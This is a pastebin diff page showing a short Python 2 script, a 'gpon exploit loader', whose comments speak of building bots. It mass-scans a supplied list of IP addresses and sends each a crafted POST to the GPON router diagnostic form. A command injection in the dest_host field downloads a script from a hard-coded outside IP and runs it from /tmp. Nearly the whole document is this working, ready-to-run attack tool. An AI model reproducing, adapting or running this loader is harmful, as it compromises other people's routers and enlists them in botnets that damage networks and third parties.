View difference between Paste ID: HGmPumcg and v02tf1L0
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/python
2
3
# gpon exploit loader by nexus zeta ; if ive sent u this dont give this to skids - use your head dont get bots saturated
4
# note to self: reintegrate parallelized thread pool alongside queue / gevent? (maybe)
5
6
import sys, socket, time, os
7
from Queue import *
8
#from multiprocessing.dummy import Pool as ThreadPool
9
#from multiprocessing import Process
10
from threading import Thread
11
from sys import stdout
12
13
if len(sys.argv) < 2:
14
        print "Usage: python "+sys.argv[0]+" <list>"
15
        sys.exit()
16
17
port = 8080
18
buf = 4096
19
count = 0
20
queue = Queue()
21
post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(wget+http://206.189.157.219/w+-O+->+/tmp/w;sh+/tmp/w)&ipv=0\r\n"
22
headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)
23
i = 0
24
ips = open(sys.argv[1], "r").readlines()
25
26
def gpwn(host):
27
    global i
28
    host = host.strip("\n")
29
    try:
30
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
31
	s.settimeout(5)
32
        s.connect((host, port))
33
        s.send(headers)
34
	time.sleep(0.5)
35
        print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)
36
        resp = s.recv(buf).strip()
37
        if "200 OK" in resp:
38
            i += 1
39
        s.close()
40
    except:
41
        pass
42
43
def load_to_queue():
44
    global count
45
    for line in ips:
46
        count += 1
47
        line = line.strip("\r\n")
48
        sys.stdout.write("\r[%d] Added to queue" % (count))
49
        sys.stdout.flush()
50
        queue.put(line)
51
    sys.stdout.write("\n")
52
53
def main():
54
    load_to_queue()
55
    i = 0
56
    while i < count:
57
        i += 1
58
        try:
59
            ip = queue.get()
60
            f = Thread(target=gpwn, args=(ip,))
61
            f.start()
62
            queue.task_done()
63
        except KeyboardInterrupt:
64
            os.kill(os.getpid(),9)
65
        except Exception as i:
66
            print i
67
            pass
68
if __name__ == "__main__":
69
    main()